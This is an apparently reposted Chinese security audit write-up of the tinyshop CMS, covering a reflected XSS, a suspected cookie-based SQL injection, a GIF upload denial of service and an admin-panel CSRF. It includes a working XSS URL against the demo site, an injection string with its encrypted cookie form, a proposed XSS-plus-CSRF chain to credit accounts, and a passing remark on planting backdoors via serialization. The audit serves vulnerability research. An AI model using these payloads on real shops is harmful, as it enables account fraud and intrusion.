首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >审计 tinyshop 中风险

审计 tinyshop 中风险

作者头像
信安之路
发布2018-08-08 15:27:08
5440
发布2018-08-08 15:27:08
举报
文章被收录于专栏:信安之路信安之路

本文作者:0x584A

审计该 CMS 中的内容只涉及到前台,后台中有存安全问题但对我来说没什么意义,所以没有过多的关注,感兴趣的朋友可以自己动动手。

因为本身已经做了一定的安全加固,本次审计并没挖掘出高危漏洞。但存在几个可以对网站造成危害的安全风险,在此仅做为思路分享给大家参考学习。

框架是这个 CMS 自写的,里面处理接收参数均在 ./framework/lib/util/request_class.php 文件中,比如:

 //同时处理$_GET $_POSTpublic static function args(){    $num = func_num_args();    $args = func_get_args();    if($num==1)    {        ...省略...    }    else if($num>=2)    {        ...省略...    }    else    {        return $_POST+$_GET;    }}

参数及过滤则放在 ./framework/lib/util/filter_class.php 中,所以在阅读代码是可以看到接收参数是这样的:

Filter::int(Req::args('address_id'))

接收参数 address_id,并用正则至获取数字

Filter::text(Req::args('invoice_title'))

接收参数 invoice_title,并用 htmlpurifier 扩展清洗 xss 注入

Filter::sql(Req::post('email'))

接收参数 email,并用正则过滤恶意 sql


碰到这种就可以直接放弃了,可以看看代码:

 public static function int($str){    $number = preg_replace("/[^\d]/", "", $str);
    
    $number = ($number=='')?0:$number;
    
    return $number;}public static function sql($str){    if(class_exists('TPdo') && class_exists('pdo')){
    
    }else{        if (!get_magic_quotes_gpc()){
        
            $str = addslashes($str);
            
        }else{
        
            $str = preg_replace('/(?<!\\\\)(\"|\')/i','\\\\$1',$str);        }    }    $str = preg_replace('/([^a-z]+)(select|insert|update|delete|union|into|load_file|outfile|and|or|sleep|tiny_)/i', '&#160;$2', $str);    return $str;}

反射 XSS

在官网示例中测试成功

http://shop.tinyrise.org/index.php?con=simple&act=address_save&accept_name=1&mobile=13888888888&phone=13888888888&province=110000&city=110100&county=110101&zip=421000oj37a%22%3E%3Cscript%3Ealert(1)%3C%2fscript%3Erxc5mfgbssp&addr=123123

产生原因

看代码:

 public function address_save($redirect=null){    $rules = array('zip:zip:邮政编码格式不正确!','addr:required:内容不能为空!','accept_name:required:收货人姓名不能为空!,mobile:mobi:手机格式不正确!,phone:phone:电话格式不正确','province:[1-9]\d*:选择地区必需完成','city:[1-9]\d*:选择地区必需完成','county:[1-9]\d*:选择地区必需完成');
    
    $info = Validator::check($rules);    if(!is_array($info) && $info==true) {        ...省略...    }    else{        $this->assign("msg",array("error",$info['msg']));
        
        $this->redirect("address_other",false,Req::args());    }}

问题出在 Req::args() 。当参数校验失败后页面会进行重定向,并将接收到的参数传递至视图中。

视图中原样输出 zip 参数内容:

./runtime/default/simple/address_other.php

 <label class="caption">邮政编码:</label>

<input class="field"  type="text" name="zip" pattern="zip" value="<?php echo isset($zip)?$zip:"";?>" alt="邮政编码错误">

疑似 cookie 产生的 SQL 注入

为什么说疑似注入呢,因为通过分析这个方法确实将恶意代码注入进了 SQL 查询。但因为本人注入战5渣,技术比较烂没用找到正确的利用姿势,所以放弃了。

 // ./protected/classes/Common.php//自动登录时的用户信息static function autoLoginUserInfo(){    $cookie = new Cookie();
    
    $cookie->setSafeCode(Tiny::app()->getSafeCode());
    
    $autologin = $cookie->get('autologin');
    
    $obj = null;
    
    if($autologin!=null){        ...省略...    }else{        $weixin_openid = Cookie::get('weixin_openid');
        
        if($weixin_openid != null){
        
            $model = new Model('oauth_user');
            
            // 关注点 $weixin_openid 参数            $oauth_user = $model->where("oauth_type='WeixinOAuth' and open_id='$weixin_openid'")->find();
            
            if($oauth_user && $oauth_user['user_id']!=''){                ...省略...            }        }    }    return $obj;}

从上面的代码可以看到, $weixin_openid 参数是从 cookie 中获取。我们看看 Cookie::get() 函数:

 // ./framework/lib/util/cookie_class.php// 取得cookie值public static function get($name){    // 这里的if是要 $_COOKIE['safecode'] 中的参数是 1 即可。    if(self::checkSafe()==1)    {        // $per = 'Tiny_';        if(isset($_COOKIE[self::$per.$name]))        {            $cryptCookie = $_COOKIE[self::$per.$name];
            
            $cookie= Crypt::decode($cryptCookie,self::getSafeCode());
            
            $tem = substr($cookie,0,10);
            
            if(preg_match('/^[Oa]:\d+:.*/',$tem)) $cookie = unserialize($cookie);
            
            return $cookie;        }        return null;    }    if(self::checkSafe()==0) self::clear($name);// Tiny::msg('非法窃取COOKIE,系统将终止工作!',0);

    else return null;}

可以看到,这里用到了 Crypt 类对值进行算法解密处理,最终调用反序列化函数后将值传递给 $cookie

这里只要找到加密方式,并对恶意代码进行一次处理随后传递至 cookie 中的 Tiny_autologin 参数即可。

所以我们构造一段代码,将 Cookie::set() 函数里面的值返回出来即可。

 // ./framework/lib/util/cookie_class.phppublic static function set($name,$value='',$time='86400',$path='/',$domain=null){    if($time<=0) $time = -3600;
    
    else $time = time() + $time;
    
    setCookie('safecode',self::cookieId(),$time,$path,$domain);
    
    if(is_array($value) || is_object($value))    
    $value=serialize($value);
    
    $value = Crypt::encode($value,self::getSafeCode());    //setCookie(self::$per.$name,$value,$time,$path,$domain); // 注释该行    return $value;}// ./protected/classes/Common.php//自动登录时的用户信息static function autoLoginUserInfo(){    $str = '\' or 1=1-- ';
    
    $poc = Cookie::set('weixin_openid',$str);
    
    echo $poc;exit();    /*...后面的代码先注释或忽略...*/}

输出加密后的字符串:ddb494c3baUwYICFJVAwJSBVUACQFWB1MGVQcGVlUCAlhUAApaDAUQF1tARQkLU0sVFQ

现在我们用它来测试试试看,是否能被正确解密:

好了,我们去除调试用的 var_dump($weixin_openid);exit();,看看是否被带入到SQL中:

至于后面怎么利用,请原来我这个辣鸡水平低~ 咳咳~

你在查看源代码的时候后会发现,这个 cms 大量使用了序列化和反序列函数,如果你登录了后台,并且想留个后面什么的,用序列化蛮方便的。

当然,前台我已基本上分析完了,有反序列化的地方但并不能形成漏洞。

很失望。

上传头像存在 DOS 风险

该 CMS 对上传已经做了很好的安全限制,但它支持用户上传 gif 文件,结合文章中所述的 POC 测试此处风险确实存在。

 /** * 生成图像 * * @access private * @param mixed $type 图片类型 * @param mixed $filename 文件名 * @return mixed */private function createImage($type,$filename){    //1 = GIF,2 = JPG,3 = PNG    switch($type)    {    case 1: $im = imageCreateFromGif($filename);break; // 代码运行至此处,存在DOS风险

    case 2: $im = imageCreateFromJpeg($filename);break;
    
    case 3: $im = imageCreateFromPng($filename);break;
    
    default:    {        $im = imageCreateFromJpeg($filename);break;    }    }    return $im;}

可以看到, poc.gif 图片上传后,导致超出了服务最大等待时间,使页面 504

产生原因

不使用 imagecreatefromgif() 处理 .gif 图片,或升级最新版本可以可以防御。详细参看:

http://blog.orange.tw/2018/01/php-cve-2018-5711-hanging-websites-by.html

后台账号充值存在 csrf 风险

后台里面的问题我就那这一个出来说吧:

如图中所示,这个用户的金额是 0.00,我们先登录后台管理员账号,并给该账号充值 200

找出充值成功的请求,生成 csrf 攻击重放页面:

好,现在我们用浏览器打开保存的 HTML 页面,打开后点击确认按钮可以看到如下提示:

回到账号充值页面,看看现在这个账号金额是多少:

思考一下

单独拿这个问题提出来说,是因为这里可以形成一个组合漏洞。

上面有个反射 XSS 漏洞,如果恶意用户伪造 javascript 脚本对账号进行充值,随后去诱导客服进行点击。

当当当~ 脑补攻击+1。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-03-24,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 反射 XSS
  • 疑似 cookie 产生的 SQL 注入
  • 上传头像存在 DOS 风险
  • 后台账号充值存在 csrf 风险
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档